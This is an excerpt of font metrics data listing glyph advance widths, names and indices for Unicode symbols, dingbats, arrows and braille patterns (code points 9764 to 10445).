U 9764 ; WX 669 ; N uni2624 ; G 3588
U 9765 ; WX 746 ; N uni2625 ; G 3589
U 9766 ; WX 649 ; N uni2626 ; G 3590
U 9767 ; WX 784 ; N uni2627 ; G 3591
U 9768 ; WX 545 ; N uni2628 ; G 3592
U 9769 ; WX 896 ; N uni2629 ; G 3593
U 9770 ; WX 896 ; N uni262A ; G 3594
U 9771 ; WX 896 ; N uni262B ; G 3595
U 9772 ; WX 710 ; N uni262C ; G 3596
U 9773 ; WX 896 ; N uni262D ; G 3597
U 9774 ; WX 896 ; N uni262E ; G 3598
U 9775 ; WX 896 ; N uni262F ; G 3599
U 9776 ; WX 896 ; N uni2630 ; G 3600
U 9777 ; WX 896 ; N uni2631 ; G 3601
U 9778 ; WX 896 ; N uni2632 ; G 3602
U 9779 ; WX 896 ; N uni2633 ; G 3603
U 9780 ; WX 896 ; N uni2634 ; G 3604
U 9781 ; WX 896 ; N uni2635 ; G 3605
U 9782 ; WX 896 ; N uni2636 ; G 3606
U 9783 ; WX 896 ; N uni2637 ; G 3607
U 9784 ; WX 896 ; N uni2638 ; G 3608
U 9785 ; WX 1042 ; N uni2639 ; G 3609
U 9786 ; WX 1042 ; N smileface ; G 3610
U 9787 ; WX 1042 ; N invsmileface ; G 3611
U 9788 ; WX 896 ; N sun ; G 3612
U 9789 ; WX 896 ; N uni263D ; G 3613
U 9790 ; WX 896 ; N uni263E ; G 3614
U 9791 ; WX 614 ; N uni263F ; G 3615
U 9792 ; WX 732 ; N female ; G 3616
U 9793 ; WX 732 ; N uni2641 ; G 3617
U 9794 ; WX 896 ; N male ; G 3618
U 9795 ; WX 896 ; N uni2643 ; G 3619
U 9796 ; WX 896 ; N uni2644 ; G 3620
U 9797 ; WX 896 ; N uni2645 ; G 3621
U 9798 ; WX 896 ; N uni2646 ; G 3622
U 9799 ; WX 896 ; N uni2647 ; G 3623
U 9800 ; WX 896 ; N uni2648 ; G 3624
U 9801 ; WX 896 ; N uni2649 ; G 3625
U 9802 ; WX 896 ; N uni264A ; G 3626
U 9803 ; WX 896 ; N uni264B ; G 3627
U 9804 ; WX 896 ; N uni264C ; G 3628
U 9805 ; WX 896 ; N uni264D ; G 3629
U 9806 ; WX 896 ; N uni264E ; G 3630
U 9807 ; WX 896 ; N uni264F ; G 3631
U 9808 ; WX 896 ; N uni2650 ; G 3632
U 9809 ; WX 896 ; N uni2651 ; G 3633
U 9810 ; WX 896 ; N uni2652 ; G 3634
U 9811 ; WX 896 ; N uni2653 ; G 3635
U 9812 ; WX 896 ; N uni2654 ; G 3636
U 9813 ; WX 896 ; N uni2655 ; G 3637
U 9814 ; WX 896 ; N uni2656 ; G 3638
U 9815 ; WX 896 ; N uni2657 ; G 3639
U 9816 ; WX 896 ; N uni2658 ; G 3640
U 9817 ; WX 896 ; N uni2659 ; G 3641
U 9818 ; WX 896 ; N uni265A ; G 3642
U 9819 ; WX 896 ; N uni265B ; G 3643
U 9820 ; WX 896 ; N uni265C ; G 3644
U 9821 ; WX 896 ; N uni265D ; G 3645
U 9822 ; WX 896 ; N uni265E ; G 3646
U 9823 ; WX 896 ; N uni265F ; G 3647
U 9824 ; WX 896 ; N spade ; G 3648
U 9825 ; WX 896 ; N uni2661 ; G 3649
U 9826 ; WX 896 ; N uni2662 ; G 3650
U 9827 ; WX 896 ; N club ; G 3651
U 9828 ; WX 896 ; N uni2664 ; G 3652
U 9829 ; WX 896 ; N heart ; G 3653
U 9830 ; WX 896 ; N diamond ; G 3654
U 9831 ; WX 896 ; N uni2667 ; G 3655
U 9832 ; WX 896 ; N uni2668 ; G 3656
U 9833 ; WX 472 ; N uni2669 ; G 3657
U 9834 ; WX 638 ; N musicalnote ; G 3658
U 9835 ; WX 896 ; N musicalnotedbl ; G 3659
U 9836 ; WX 896 ; N uni266C ; G 3660
U 9837 ; WX 472 ; N uni266D ; G 3661
U 9838 ; WX 357 ; N uni266E ; G 3662
U 9839 ; WX 484 ; N uni266F ; G 3663
U 9840 ; WX 748 ; N uni2670 ; G 3664
U 9841 ; WX 766 ; N uni2671 ; G 3665
U 9842 ; WX 896 ; N uni2672 ; G 3666
U 9843 ; WX 896 ; N uni2673 ; G 3667
U 9844 ; WX 896 ; N uni2674 ; G 3668
U 9845 ; WX 896 ; N uni2675 ; G 3669
U 9846 ; WX 896 ; N uni2676 ; G 3670
U 9847 ; WX 896 ; N uni2677 ; G 3671
U 9848 ; WX 896 ; N uni2678 ; G 3672
U 9849 ; WX 896 ; N uni2679 ; G 3673
U 9850 ; WX 896 ; N uni267A ; G 3674
U 9851 ; WX 896 ; N uni267B ; G 3675
U 9852 ; WX 896 ; N uni267C ; G 3676
U 9853 ; WX 896 ; N uni267D ; G 3677
U 9854 ; WX 896 ; N uni267E ; G 3678
U 9855 ; WX 896 ; N uni267F ; G 3679
U 9856 ; WX 869 ; N uni2680 ; G 3680
U 9857 ; WX 869 ; N uni2681 ; G 3681
U 9858 ; WX 869 ; N uni2682 ; G 3682
U 9859 ; WX 869 ; N uni2683 ; G 3683
U 9860 ; WX 869 ; N uni2684 ; G 3684
U 9861 ; WX 869 ; N uni2685 ; G 3685
U 9862 ; WX 896 ; N uni2686 ; G 3686
U 9863 ; WX 896 ; N uni2687 ; G 3687
U 9864 ; WX 896 ; N uni2688 ; G 3688
U 9865 ; WX 896 ; N uni2689 ; G 3689
U 9866 ; WX 896 ; N uni268A ; G 3690
U 9867 ; WX 896 ; N uni268B ; G 3691
U 9868 ; WX 896 ; N uni268C ; G 3692
U 9869 ; WX 896 ; N uni268D ; G 3693
U 9870 ; WX 896 ; N uni268E ; G 3694
U 9871 ; WX 896 ; N uni268F ; G 3695
U 9872 ; WX 896 ; N uni2690 ; G 3696
U 9873 ; WX 896 ; N uni2691 ; G 3697
U 9874 ; WX 896 ; N uni2692 ; G 3698
U 9875 ; WX 896 ; N uni2693 ; G 3699
U 9876 ; WX 896 ; N uni2694 ; G 3700
U 9877 ; WX 541 ; N uni2695 ; G 3701
U 9878 ; WX 896 ; N uni2696 ; G 3702
U 9879 ; WX 896 ; N uni2697 ; G 3703
U 9880 ; WX 896 ; N uni2698 ; G 3704
U 9881 ; WX 896 ; N uni2699 ; G 3705
U 9882 ; WX 896 ; N uni269A ; G 3706
U 9883 ; WX 896 ; N uni269B ; G 3707
U 9884 ; WX 896 ; N uni269C ; G 3708
U 9886 ; WX 896 ; N uni269E ; G 3709
U 9887 ; WX 896 ; N uni269F ; G 3710
U 9888 ; WX 896 ; N uni26A0 ; G 3711
U 9889 ; WX 702 ; N uni26A1 ; G 3712
U 9890 ; WX 1004 ; N uni26A2 ; G 3713
U 9891 ; WX 1089 ; N uni26A3 ; G 3714
U 9892 ; WX 1175 ; N uni26A4 ; G 3715
U 9893 ; WX 903 ; N uni26A5 ; G 3716
U 9894 ; WX 838 ; N uni26A6 ; G 3717
U 9895 ; WX 838 ; N uni26A7 ; G 3718
U 9896 ; WX 838 ; N uni26A8 ; G 3719
U 9897 ; WX 838 ; N uni26A9 ; G 3720
U 9898 ; WX 838 ; N uni26AA ; G 3721
U 9899 ; WX 838 ; N uni26AB ; G 3722
U 9900 ; WX 838 ; N uni26AC ; G 3723
U 9901 ; WX 838 ; N uni26AD ; G 3724
U 9902 ; WX 838 ; N uni26AE ; G 3725
U 9903 ; WX 838 ; N uni26AF ; G 3726
U 9904 ; WX 844 ; N uni26B0 ; G 3727
U 9905 ; WX 838 ; N uni26B1 ; G 3728
U 9906 ; WX 732 ; N uni26B2 ; G 3729
U 9907 ; WX 732 ; N uni26B3 ; G 3730
U 9908 ; WX 732 ; N uni26B4 ; G 3731
U 9909 ; WX 732 ; N uni26B5 ; G 3732
U 9910 ; WX 850 ; N uni26B6 ; G 3733
U 9911 ; WX 732 ; N uni26B7 ; G 3734
U 9912 ; WX 732 ; N uni26B8 ; G 3735
U 9920 ; WX 838 ; N uni26C0 ; G 3736
U 9921 ; WX 838 ; N uni26C1 ; G 3737
U 9922 ; WX 838 ; N uni26C2 ; G 3738
U 9923 ; WX 838 ; N uni26C3 ; G 3739
U 9954 ; WX 732 ; N uni26E2 ; G 3740
U 9985 ; WX 838 ; N uni2701 ; G 3741
U 9986 ; WX 838 ; N uni2702 ; G 3742
U 9987 ; WX 838 ; N uni2703 ; G 3743
U 9988 ; WX 838 ; N uni2704 ; G 3744
U 9990 ; WX 838 ; N uni2706 ; G 3745
U 9991 ; WX 838 ; N uni2707 ; G 3746
U 9992 ; WX 838 ; N uni2708 ; G 3747
U 9993 ; WX 838 ; N uni2709 ; G 3748
U 9996 ; WX 838 ; N uni270C ; G 3749
U 9997 ; WX 838 ; N uni270D ; G 3750
U 9998 ; WX 838 ; N uni270E ; G 3751
U 9999 ; WX 838 ; N uni270F ; G 3752
U 10000 ; WX 838 ; N uni2710 ; G 3753
U 10001 ; WX 838 ; N uni2711 ; G 3754
U 10002 ; WX 838 ; N uni2712 ; G 3755
U 10003 ; WX 838 ; N uni2713 ; G 3756
U 10004 ; WX 838 ; N uni2714 ; G 3757
U 10005 ; WX 838 ; N uni2715 ; G 3758
U 10006 ; WX 838 ; N uni2716 ; G 3759
U 10007 ; WX 838 ; N uni2717 ; G 3760
U 10008 ; WX 838 ; N uni2718 ; G 3761
U 10009 ; WX 838 ; N uni2719 ; G 3762
U 10010 ; WX 838 ; N uni271A ; G 3763
U 10011 ; WX 838 ; N uni271B ; G 3764
U 10012 ; WX 838 ; N uni271C ; G 3765
U 10013 ; WX 838 ; N uni271D ; G 3766
U 10014 ; WX 838 ; N uni271E ; G 3767
U 10015 ; WX 838 ; N uni271F ; G 3768
U 10016 ; WX 838 ; N uni2720 ; G 3769
U 10017 ; WX 838 ; N uni2721 ; G 3770
U 10018 ; WX 838 ; N uni2722 ; G 3771
U 10019 ; WX 838 ; N uni2723 ; G 3772
U 10020 ; WX 838 ; N uni2724 ; G 3773
U 10021 ; WX 838 ; N uni2725 ; G 3774
U 10022 ; WX 838 ; N uni2726 ; G 3775
U 10023 ; WX 838 ; N uni2727 ; G 3776
U 10025 ; WX 838 ; N uni2729 ; G 3777
U 10026 ; WX 838 ; N uni272A ; G 3778
U 10027 ; WX 838 ; N uni272B ; G 3779
U 10028 ; WX 838 ; N uni272C ; G 3780
U 10029 ; WX 838 ; N uni272D ; G 3781
U 10030 ; WX 838 ; N uni272E ; G 3782
U 10031 ; WX 838 ; N uni272F ; G 3783
U 10032 ; WX 838 ; N uni2730 ; G 3784
U 10033 ; WX 838 ; N uni2731 ; G 3785
U 10034 ; WX 838 ; N uni2732 ; G 3786
U 10035 ; WX 838 ; N uni2733 ; G 3787
U 10036 ; WX 838 ; N uni2734 ; G 3788
U 10037 ; WX 838 ; N uni2735 ; G 3789
U 10038 ; WX 838 ; N uni2736 ; G 3790
U 10039 ; WX 838 ; N uni2737 ; G 3791
U 10040 ; WX 838 ; N uni2738 ; G 3792
U 10041 ; WX 838 ; N uni2739 ; G 3793
U 10042 ; WX 838 ; N uni273A ; G 3794
U 10043 ; WX 838 ; N uni273B ; G 3795
U 10044 ; WX 838 ; N uni273C ; G 3796
U 10045 ; WX 838 ; N uni273D ; G 3797
U 10046 ; WX 838 ; N uni273E ; G 3798
U 10047 ; WX 838 ; N uni273F ; G 3799
U 10048 ; WX 838 ; N uni2740 ; G 3800
U 10049 ; WX 838 ; N uni2741 ; G 3801
U 10050 ; WX 838 ; N uni2742 ; G 3802
U 10051 ; WX 838 ; N uni2743 ; G 3803
U 10052 ; WX 838 ; N uni2744 ; G 3804
U 10053 ; WX 838 ; N uni2745 ; G 3805
U 10054 ; WX 838 ; N uni2746 ; G 3806
U 10055 ; WX 838 ; N uni2747 ; G 3807
U 10056 ; WX 838 ; N uni2748 ; G 3808
U 10057 ; WX 838 ; N uni2749 ; G 3809
U 10058 ; WX 838 ; N uni274A ; G 3810
U 10059 ; WX 838 ; N uni274B ; G 3811
U 10061 ; WX 896 ; N uni274D ; G 3812
U 10063 ; WX 896 ; N uni274F ; G 3813
U 10064 ; WX 896 ; N uni2750 ; G 3814
U 10065 ; WX 896 ; N uni2751 ; G 3815
U 10066 ; WX 896 ; N uni2752 ; G 3816
U 10070 ; WX 896 ; N uni2756 ; G 3817
U 10072 ; WX 838 ; N uni2758 ; G 3818
U 10073 ; WX 838 ; N uni2759 ; G 3819
U 10074 ; WX 838 ; N uni275A ; G 3820
U 10075 ; WX 322 ; N uni275B ; G 3821
U 10076 ; WX 322 ; N uni275C ; G 3822
U 10077 ; WX 538 ; N uni275D ; G 3823
U 10078 ; WX 538 ; N uni275E ; G 3824
U 10081 ; WX 838 ; N uni2761 ; G 3825
U 10082 ; WX 838 ; N uni2762 ; G 3826
U 10083 ; WX 838 ; N uni2763 ; G 3827
U 10084 ; WX 838 ; N uni2764 ; G 3828
U 10085 ; WX 838 ; N uni2765 ; G 3829
U 10086 ; WX 838 ; N uni2766 ; G 3830
U 10087 ; WX 838 ; N uni2767 ; G 3831
U 10088 ; WX 838 ; N uni2768 ; G 3832
U 10089 ; WX 838 ; N uni2769 ; G 3833
U 10090 ; WX 838 ; N uni276A ; G 3834
U 10091 ; WX 838 ; N uni276B ; G 3835
U 10092 ; WX 838 ; N uni276C ; G 3836
U 10093 ; WX 838 ; N uni276D ; G 3837
U 10094 ; WX 838 ; N uni276E ; G 3838
U 10095 ; WX 838 ; N uni276F ; G 3839
U 10096 ; WX 838 ; N uni2770 ; G 3840
U 10097 ; WX 838 ; N uni2771 ; G 3841
U 10098 ; WX 838 ; N uni2772 ; G 3842
U 10099 ; WX 838 ; N uni2773 ; G 3843
U 10100 ; WX 838 ; N uni2774 ; G 3844
U 10101 ; WX 838 ; N uni2775 ; G 3845
U 10102 ; WX 847 ; N uni2776 ; G 3846
U 10103 ; WX 847 ; N uni2777 ; G 3847
U 10104 ; WX 847 ; N uni2778 ; G 3848
U 10105 ; WX 847 ; N uni2779 ; G 3849
U 10106 ; WX 847 ; N uni277A ; G 3850
U 10107 ; WX 847 ; N uni277B ; G 3851
U 10108 ; WX 847 ; N uni277C ; G 3852
U 10109 ; WX 847 ; N uni277D ; G 3853
U 10110 ; WX 847 ; N uni277E ; G 3854
U 10111 ; WX 847 ; N uni277F ; G 3855
U 10112 ; WX 838 ; N uni2780 ; G 3856
U 10113 ; WX 838 ; N uni2781 ; G 3857
U 10114 ; WX 838 ; N uni2782 ; G 3858
U 10115 ; WX 838 ; N uni2783 ; G 3859
U 10116 ; WX 838 ; N uni2784 ; G 3860
U 10117 ; WX 838 ; N uni2785 ; G 3861
U 10118 ; WX 838 ; N uni2786 ; G 3862
U 10119 ; WX 838 ; N uni2787 ; G 3863
U 10120 ; WX 838 ; N uni2788 ; G 3864
U 10121 ; WX 838 ; N uni2789 ; G 3865
U 10122 ; WX 838 ; N uni278A ; G 3866
U 10123 ; WX 838 ; N uni278B ; G 3867
U 10124 ; WX 838 ; N uni278C ; G 3868
U 10125 ; WX 838 ; N uni278D ; G 3869
U 10126 ; WX 838 ; N uni278E ; G 3870
U 10127 ; WX 838 ; N uni278F ; G 3871
U 10128 ; WX 838 ; N uni2790 ; G 3872
U 10129 ; WX 838 ; N uni2791 ; G 3873
U 10130 ; WX 838 ; N uni2792 ; G 3874
U 10131 ; WX 838 ; N uni2793 ; G 3875
U 10132 ; WX 838 ; N uni2794 ; G 3876
U 10136 ; WX 838 ; N uni2798 ; G 3877
U 10137 ; WX 838 ; N uni2799 ; G 3878
U 10138 ; WX 838 ; N uni279A ; G 3879
U 10139 ; WX 838 ; N uni279B ; G 3880
U 10140 ; WX 838 ; N uni279C ; G 3881
U 10141 ; WX 838 ; N uni279D ; G 3882
U 10142 ; WX 838 ; N uni279E ; G 3883
U 10143 ; WX 838 ; N uni279F ; G 3884
U 10144 ; WX 838 ; N uni27A0 ; G 3885
U 10145 ; WX 838 ; N uni27A1 ; G 3886
U 10146 ; WX 838 ; N uni27A2 ; G 3887
U 10147 ; WX 838 ; N uni27A3 ; G 3888
U 10148 ; WX 838 ; N uni27A4 ; G 3889
U 10149 ; WX 838 ; N uni27A5 ; G 3890
U 10150 ; WX 838 ; N uni27A6 ; G 3891
U 10151 ; WX 838 ; N uni27A7 ; G 3892
U 10152 ; WX 838 ; N uni27A8 ; G 3893
U 10153 ; WX 838 ; N uni27A9 ; G 3894
U 10154 ; WX 838 ; N uni27AA ; G 3895
U 10155 ; WX 838 ; N uni27AB ; G 3896
U 10156 ; WX 838 ; N uni27AC ; G 3897
U 10157 ; WX 838 ; N uni27AD ; G 3898
U 10158 ; WX 838 ; N uni27AE ; G 3899
U 10159 ; WX 838 ; N uni27AF ; G 3900
U 10161 ; WX 838 ; N uni27B1 ; G 3901
U 10162 ; WX 838 ; N uni27B2 ; G 3902
U 10163 ; WX 838 ; N uni27B3 ; G 3903
U 10164 ; WX 838 ; N uni27B4 ; G 3904
U 10165 ; WX 838 ; N uni27B5 ; G 3905
U 10166 ; WX 838 ; N uni27B6 ; G 3906
U 10167 ; WX 838 ; N uni27B7 ; G 3907
U 10168 ; WX 838 ; N uni27B8 ; G 3908
U 10169 ; WX 838 ; N uni27B9 ; G 3909
U 10170 ; WX 838 ; N uni27BA ; G 3910
U 10171 ; WX 838 ; N uni27BB ; G 3911
U 10172 ; WX 838 ; N uni27BC ; G 3912
U 10173 ; WX 838 ; N uni27BD ; G 3913
U 10174 ; WX 838 ; N uni27BE ; G 3914
U 10181 ; WX 457 ; N uni27C5 ; G 3915
U 10182 ; WX 457 ; N uni27C6 ; G 3916
U 10208 ; WX 494 ; N uni27E0 ; G 3917
U 10214 ; WX 487 ; N uni27E6 ; G 3918
U 10215 ; WX 487 ; N uni27E7 ; G 3919
U 10216 ; WX 457 ; N uni27E8 ; G 3920
U 10217 ; WX 457 ; N uni27E9 ; G 3921
U 10218 ; WX 721 ; N uni27EA ; G 3922
U 10219 ; WX 721 ; N uni27EB ; G 3923
U 10224 ; WX 838 ; N uni27F0 ; G 3924
U 10225 ; WX 838 ; N uni27F1 ; G 3925
U 10226 ; WX 838 ; N uni27F2 ; G 3926
U 10227 ; WX 838 ; N uni27F3 ; G 3927
U 10228 ; WX 1157 ; N uni27F4 ; G 3928
U 10229 ; WX 1434 ; N uni27F5 ; G 3929
U 10230 ; WX 1434 ; N uni27F6 ; G 3930
U 10231 ; WX 1434 ; N uni27F7 ; G 3931
U 10232 ; WX 1434 ; N uni27F8 ; G 3932
U 10233 ; WX 1434 ; N uni27F9 ; G 3933
U 10234 ; WX 1434 ; N uni27FA ; G 3934
U 10235 ; WX 1434 ; N uni27FB ; G 3935
U 10236 ; WX 1434 ; N uni27FC ; G 3936
U 10237 ; WX 1434 ; N uni27FD ; G 3937
U 10238 ; WX 1434 ; N uni27FE ; G 3938
U 10239 ; WX 1434 ; N uni27FF ; G 3939
U 10240 ; WX 781 ; N uni2800 ; G 3940
U 10241 ; WX 781 ; N uni2801 ; G 3941
U 10242 ; WX 781 ; N uni2802 ; G 3942
U 10243 ; WX 781 ; N uni2803 ; G 3943
U 10244 ; WX 781 ; N uni2804 ; G 3944
U 10245 ; WX 781 ; N uni2805 ; G 3945
U 10246 ; WX 781 ; N uni2806 ; G 3946
U 10247 ; WX 781 ; N uni2807 ; G 3947
U 10248 ; WX 781 ; N uni2808 ; G 3948
U 10249 ; WX 781 ; N uni2809 ; G 3949
U 10250 ; WX 781 ; N uni280A ; G 3950
U 10251 ; WX 781 ; N uni280B ; G 3951
U 10252 ; WX 781 ; N uni280C ; G 3952
U 10253 ; WX 781 ; N uni280D ; G 3953
U 10254 ; WX 781 ; N uni280E ; G 3954
U 10255 ; WX 781 ; N uni280F ; G 3955
U 10256 ; WX 781 ; N uni2810 ; G 3956
U 10257 ; WX 781 ; N uni2811 ; G 3957
U 10258 ; WX 781 ; N uni2812 ; G 3958
U 10259 ; WX 781 ; N uni2813 ; G 3959
U 10260 ; WX 781 ; N uni2814 ; G 3960
U 10261 ; WX 781 ; N uni2815 ; G 3961
U 10262 ; WX 781 ; N uni2816 ; G 3962
U 10263 ; WX 781 ; N uni2817 ; G 3963
U 10264 ; WX 781 ; N uni2818 ; G 3964
U 10265 ; WX 781 ; N uni2819 ; G 3965
U 10266 ; WX 781 ; N uni281A ; G 3966
U 10267 ; WX 781 ; N uni281B ; G 3967
U 10268 ; WX 781 ; N uni281C ; G 3968
U 10269 ; WX 781 ; N uni281D ; G 3969
U 10270 ; WX 781 ; N uni281E ; G 3970
U 10271 ; WX 781 ; N uni281F ; G 3971
U 10272 ; WX 781 ; N uni2820 ; G 3972
U 10273 ; WX 781 ; N uni2821 ; G 3973
U 10274 ; WX 781 ; N uni2822 ; G 3974
U 10275 ; WX 781 ; N uni2823 ; G 3975
U 10276 ; WX 781 ; N uni2824 ; G 3976
U 10277 ; WX 781 ; N uni2825 ; G 3977
U 10278 ; WX 781 ; N uni2826 ; G 3978
U 10279 ; WX 781 ; N uni2827 ; G 3979
U 10280 ; WX 781 ; N uni2828 ; G 3980
U 10281 ; WX 781 ; N uni2829 ; G 3981
U 10282 ; WX 781 ; N uni282A ; G 3982
U 10283 ; WX 781 ; N uni282B ; G 3983
U 10284 ; WX 781 ; N uni282C ; G 3984
U 10285 ; WX 781 ; N uni282D ; G 3985
U 10286 ; WX 781 ; N uni282E ; G 3986
U 10287 ; WX 781 ; N uni282F ; G 3987
U 10288 ; WX 781 ; N uni2830 ; G 3988
U 10289 ; WX 781 ; N uni2831 ; G 3989
U 10290 ; WX 781 ; N uni2832 ; G 3990
U 10291 ; WX 781 ; N uni2833 ; G 3991
U 10292 ; WX 781 ; N uni2834 ; G 3992
U 10293 ; WX 781 ; N uni2835 ; G 3993
U 10294 ; WX 781 ; N uni2836 ; G 3994
U 10295 ; WX 781 ; N uni2837 ; G 3995
U 10296 ; WX 781 ; N uni2838 ; G 3996
U 10297 ; WX 781 ; N uni2839 ; G 3997
U 10298 ; WX 781 ; N uni283A ; G 3998
U 10299 ; WX 781 ; N uni283B ; G 3999
U 10300 ; WX 781 ; N uni283C ; G 4000
U 10301 ; WX 781 ; N uni283D ; G 4001
U 10302 ; WX 781 ; N uni283E ; G 4002
U 10303 ; WX 781 ; N uni283F ; G 4003
U 10304 ; WX 781 ; N uni2840 ; G 4004
U 10305 ; WX 781 ; N uni2841 ; G 4005
U 10306 ; WX 781 ; N uni2842 ; G 4006
U 10307 ; WX 781 ; N uni2843 ; G 4007
U 10308 ; WX 781 ; N uni2844 ; G 4008
U 10309 ; WX 781 ; N uni2845 ; G 4009
U 10310 ; WX 781 ; N uni2846 ; G 4010
U 10311 ; WX 781 ; N uni2847 ; G 4011
U 10312 ; WX 781 ; N uni2848 ; G 4012
U 10313 ; WX 781 ; N uni2849 ; G 4013
U 10314 ; WX 781 ; N uni284A ; G 4014
U 10315 ; WX 781 ; N uni284B ; G 4015
U 10316 ; WX 781 ; N uni284C ; G 4016
U 10317 ; WX 781 ; N uni284D ; G 4017
U 10318 ; WX 781 ; N uni284E ; G 4018
U 10319 ; WX 781 ; N uni284F ; G 4019
U 10320 ; WX 781 ; N uni2850 ; G 4020
U 10321 ; WX 781 ; N uni2851 ; G 4021
U 10322 ; WX 781 ; N uni2852 ; G 4022
U 10323 ; WX 781 ; N uni2853 ; G 4023
U 10324 ; WX 781 ; N uni2854 ; G 4024
U 10325 ; WX 781 ; N uni2855 ; G 4025
U 10326 ; WX 781 ; N uni2856 ; G 4026
U 10327 ; WX 781 ; N uni2857 ; G 4027
U 10328 ; WX 781 ; N uni2858 ; G 4028
U 10329 ; WX 781 ; N uni2859 ; G 4029
U 10330 ; WX 781 ; N uni285A ; G 4030
U 10331 ; WX 781 ; N uni285B ; G 4031
U 10332 ; WX 781 ; N uni285C ; G 4032
U 10333 ; WX 781 ; N uni285D ; G 4033
U 10334 ; WX 781 ; N uni285E ; G 4034
U 10335 ; WX 781 ; N uni285F ; G 4035
U 10336 ; WX 781 ; N uni2860 ; G 4036
U 10337 ; WX 781 ; N uni2861 ; G 4037
U 10338 ; WX 781 ; N uni2862 ; G 4038
U 10339 ; WX 781 ; N uni2863 ; G 4039
U 10340 ; WX 781 ; N uni2864 ; G 4040
U 10341 ; WX 781 ; N uni2865 ; G 4041
U 10342 ; WX 781 ; N uni2866 ; G 4042
U 10343 ; WX 781 ; N uni2867 ; G 4043
U 10344 ; WX 781 ; N uni2868 ; G 4044
U 10345 ; WX 781 ; N uni2869 ; G 4045
U 10346 ; WX 781 ; N uni286A ; G 4046
U 10347 ; WX 781 ; N uni286B ; G 4047
U 10348 ; WX 781 ; N uni286C ; G 4048
U 10349 ; WX 781 ; N uni286D ; G 4049
U 10350 ; WX 781 ; N uni286E ; G 4050
U 10351 ; WX 781 ; N uni286F ; G 4051
U 10352 ; WX 781 ; N uni2870 ; G 4052
U 10353 ; WX 781 ; N uni2871 ; G 4053
U 10354 ; WX 781 ; N uni2872 ; G 4054
U 10355 ; WX 781 ; N uni2873 ; G 4055
U 10356 ; WX 781 ; N uni2874 ; G 4056
U 10357 ; WX 781 ; N uni2875 ; G 4057
U 10358 ; WX 781 ; N uni2876 ; G 4058
U 10359 ; WX 781 ; N uni2877 ; G 4059
U 10360 ; WX 781 ; N uni2878 ; G 4060
U 10361 ; WX 781 ; N uni2879 ; G 4061
U 10362 ; WX 781 ; N uni287A ; G 4062
U 10363 ; WX 781 ; N uni287B ; G 4063
U 10364 ; WX 781 ; N uni287C ; G 4064
U 10365 ; WX 781 ; N uni287D ; G 4065
U 10366 ; WX 781 ; N uni287E ; G 4066
U 10367 ; WX 781 ; N uni287F ; G 4067
U 10368 ; WX 781 ; N uni2880 ; G 4068
U 10369 ; WX 781 ; N uni2881 ; G 4069
U 10370 ; WX 781 ; N uni2882 ; G 4070
U 10371 ; WX 781 ; N uni2883 ; G 4071
U 10372 ; WX 781 ; N uni2884 ; G 4072
U 10373 ; WX 781 ; N uni2885 ; G 4073
U 10374 ; WX 781 ; N uni2886 ; G 4074
U 10375 ; WX 781 ; N uni2887 ; G 4075
U 10376 ; WX 781 ; N uni2888 ; G 4076
U 10377 ; WX 781 ; N uni2889 ; G 4077
U 10378 ; WX 781 ; N uni288A ; G 4078
U 10379 ; WX 781 ; N uni288B ; G 4079
U 10380 ; WX 781 ; N uni288C ; G 4080
U 10381 ; WX 781 ; N uni288D ; G 4081
U 10382 ; WX 781 ; N uni288E ; G 4082
U 10383 ; WX 781 ; N uni288F ; G 4083
U 10384 ; WX 781 ; N uni2890 ; G 4084
U 10385 ; WX 781 ; N uni2891 ; G 4085
U 10386 ; WX 781 ; N uni2892 ; G 4086
U 10387 ; WX 781 ; N uni2893 ; G 4087
U 10388 ; WX 781 ; N uni2894 ; G 4088
U 10389 ; WX 781 ; N uni2895 ; G 4089
U 10390 ; WX 781 ; N uni2896 ; G 4090
U 10391 ; WX 781 ; N uni2897 ; G 4091
U 10392 ; WX 781 ; N uni2898 ; G 4092
U 10393 ; WX 781 ; N uni2899 ; G 4093
U 10394 ; WX 781 ; N uni289A ; G 4094
U 10395 ; WX 781 ; N uni289B ; G 4095
U 10396 ; WX 781 ; N uni289C ; G 4096
U 10397 ; WX 781 ; N uni289D ; G 4097
U 10398 ; WX 781 ; N uni289E ; G 4098
U 10399 ; WX 781 ; N uni289F ; G 4099
U 10400 ; WX 781 ; N uni28A0 ; G 4100
U 10401 ; WX 781 ; N uni28A1 ; G 4101
U 10402 ; WX 781 ; N uni28A2 ; G 4102
U 10403 ; WX 781 ; N uni28A3 ; G 4103
U 10404 ; WX 781 ; N uni28A4 ; G 4104
U 10405 ; WX 781 ; N uni28A5 ; G 4105
U 10406 ; WX 781 ; N uni28A6 ; G 4106
U 10407 ; WX 781 ; N uni28A7 ; G 4107
U 10408 ; WX 781 ; N uni28A8 ; G 4108
U 10409 ; WX 781 ; N uni28A9 ; G 4109
U 10410 ; WX 781 ; N uni28AA ; G 4110
U 10411 ; WX 781 ; N uni28AB ; G 4111
U 10412 ; WX 781 ; N uni28AC ; G 4112
U 10413 ; WX 781 ; N uni28AD ; G 4113
U 10414 ; WX 781 ; N uni28AE ; G 4114
U 10415 ; WX 781 ; N uni28AF ; G 4115
U 10416 ; WX 781 ; N uni28B0 ; G 4116
U 10417 ; WX 781 ; N uni28B1 ; G 4117
U 10418 ; WX 781 ; N uni28B2 ; G 4118
U 10419 ; WX 781 ; N uni28B3 ; G 4119
U 10420 ; WX 781 ; N uni28B4 ; G 4120
U 10421 ; WX 781 ; N uni28B5 ; G 4121
U 10422 ; WX 781 ; N uni28B6 ; G 4122
U 10423 ; WX 781 ; N uni28B7 ; G 4123
U 10424 ; WX 781 ; N uni28B8 ; G 4124
U 10425 ; WX 781 ; N uni28B9 ; G 4125
U 10426 ; WX 781 ; N uni28BA ; G 4126
U 10427 ; WX 781 ; N uni28BB ; G 4127
U 10428 ; WX 781 ; N uni28BC ; G 4128
U 10429 ; WX 781 ; N uni28BD ; G 4129
U 10430 ; WX 781 ; N uni28BE ; G 4130
U 10431 ; WX 781 ; N uni28BF ; G 4131
U 10432 ; WX 781 ; N uni28C0 ; G 4132
U 10433 ; WX 781 ; N uni28C1 ; G 4133
U 10434 ; WX 781 ; N uni28C2 ; G 4134
U 10435 ; WX 781 ; N uni28C3 ; G 4135
U 10436 ; WX 781 ; N uni28C4 ; G 4136
U 10437 ; WX 781 ; N uni28C5 ; G 4137
U 10438 ; WX 781 ; N uni28C6 ; G 4138
U 10439 ; WX 781 ; N uni28C7 ; G 4139
U 10440 ; WX 781 ; N uni28C8 ; G 4140
U 10441 ; WX 781 ; N uni28C9 ; G 4141
U 10442 ; WX 781 ; N uni28CA ; G 4142
U 10443 ; WX 781 ; N uni28CB ; G 4143
U 10444 ; WX 781 ; N uni28CC ; G 4144
U 10445 ; WX 781 ; N uni28CD ; G 4145
